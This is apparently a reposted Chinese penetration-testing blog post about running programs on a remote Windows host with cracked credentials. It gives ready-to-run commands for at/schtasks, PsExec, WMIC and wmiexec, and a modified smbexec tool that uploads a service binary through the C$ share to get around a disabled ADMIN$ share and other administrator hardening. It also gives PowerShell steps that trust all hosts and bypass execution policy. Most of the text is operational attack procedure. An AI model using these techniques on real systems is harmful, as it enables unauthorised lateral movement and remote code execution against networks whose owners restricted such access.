在遠程系統上執行程序的技術整理


0x00 前言

上一篇學習了如何導出域內所有用戶hash,那么,接下來准備用破解出的用戶名口令嘗試遠程登陸目標主機並執行程序,結合實際環境做了如下測試.

0x01 目標

遠程登陸目標主機執行測試程序

0x02 測試環境

遠程主機:

ip192.168.40.137

用戶名:test

口令:testtest

操作系統:win7 x64

遠程登陸方式:

net use遠程登陸,不使用3389

Tips

解決工作組環境無法遠程登陸執行程序的方法:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called "LocalAccountTokenFilterPolicy" and set it to 1

0x03 測試方法

1at&schtasks

計划任務方式執行程序。

條件:

啟動Task Scheduler服務

2psexec

PsTools工具之一,在指定的一台或多台計算機上運行應用程序

條件:

需要開放ADMIN$共享

3WMIC

功能強大,可做系統管理、遠程主機信息獲取

條件:

啟動WMI服務,開放135端口

本地安全策略的"網絡訪問: 本地帳戶的共享和安全模式"應設為"經典-本地用戶以自己的身份驗證"

4wmiexec

使用VBS腳本調用WMI來模擬psexec的功能,基本上psexec能用的地方,這個腳本也能夠使用。

條件:

啟動WMI服務,開放135端口

本地安全策略的"網絡訪問: 本地帳戶的共享和安全模式"應設為"經典-本地用戶以自己的身份驗證"

0x04 實際測試

使用用戶名口令遠程登陸192.168.40.137,如圖1

查看目標主機共享資源,如圖1-2

1at&schtasks

at \\192.168.40.137

找不到網絡路徑,判斷是目標主機已禁用Task Scheduler服務

如圖2

2psexec

PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe

找不到網絡名,判斷目標主機已禁用ADMIN$共享

如圖3

3WMIC

wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe

Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用

如圖4

4wmiexec

cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"

WMIEXEC ERROR: 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用

如圖5

0x05 分析

整理下目前掌握的目標主機信息:

目標主機:

1、已獲得登陸用戶名及口令

2、可以net use連接

3、開放共享C

但是:

1、默認admin$共享關閉,無法使用psexec

2Task scheduler關閉,無法使用atschtasks

3Windows Management Instrumentation服務關閉,關閉135端口無法使用wmicwmiexec

4、不支持3389

那么,如何在目標主機遠程執行程序?

猜測管理員應該是對常用的遠程執行程序的方法做了限制,就在一籌莫展的時候突然想到了smbexec,它是基於psexec,如果目標主機開放了其他默認共享,倒是可以嘗試smbexec

於是搜索smbexec,終於在GitHub上面找到了一個smbexecc++參考資料,作為工具改進模版

模版下載地址:

https://github.com/sunorr/smbexec

0x06 改進方案

模版中的bug不細講,最終我成功用vc6實現了psexec的功能,同時也做了一些改進:

1、可指定默認共享名

為了完成上述測試,加入了參數來指定默認共享,如果ADMIN$共享關閉,那么可以嘗試其他磁盤的默認共享

2、分離安裝服務的功能

在實際測試過程中,如果ADMIN$共享關閉,c$共享開啟,因為UAC的緣故,注冊安裝服務的功能會出現bug,采取的解決辦法為將實現注冊安裝服務功能的exe單獨上傳至c:\windows下, 即可解決權限不夠的問題

0x07 方案測試

1、工具說明

文件說明:

test.exe:主程序

execserver.exe:實現注冊安裝服務的輔助程序

參數說明:

test.exe ip user password command netshare

eg:

test.exe 192.168.40.137 test testtest whoami c$

2、使用流程

1)上傳execserver.exec:\windows

copy execserver.exe \\192.168.40.137\c$\windows

2)遠程執行

test.exe 192.168.40.137 test testtest whoami c$

如圖6

最終我們通過改造的smbexec,突破目標主機限制,成功遠程執行程序。

程序源碼下載鏈接:

smbexec_source.zip

0x08 補充

1powershell remoting

實現在目標主機遠程執行程序后,可對目標主機開放powershell remoting,用作遠程連接

條件:

遠程連接會有痕跡

本機要開啟winRM服務

命令匯總:

列出所有遠程信任主機

powershell Get-Item WSMan:\localhost\Client\TrustedHosts

設置信任所有主機

powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force

設置允許運行ps1文件

powershell Set-ExecutionPolicy Unrestricted

執行test.ps1文件

powershell -ExecutionPolicy Bypass -File test.ps1

ps1文件如下:

$UserName = "test"

$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)

invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }

2python smbexec

隨后用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,如果有更簡單的方法, 希望能得到你的幫助。

0x09 小結

這篇文章共列舉了六種遠程執行程序的方法,如果已經成功登陸目標主機,卻無法執行程序,最心塞的事情莫過於此。

at

psexec

WMIC

wmiexec

smbexec

powershell remoting

...

獲得用戶名口令,實現遠程執行程序僅僅是個開始,內網滲透會很有趣。

水平有限,歡迎補充。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM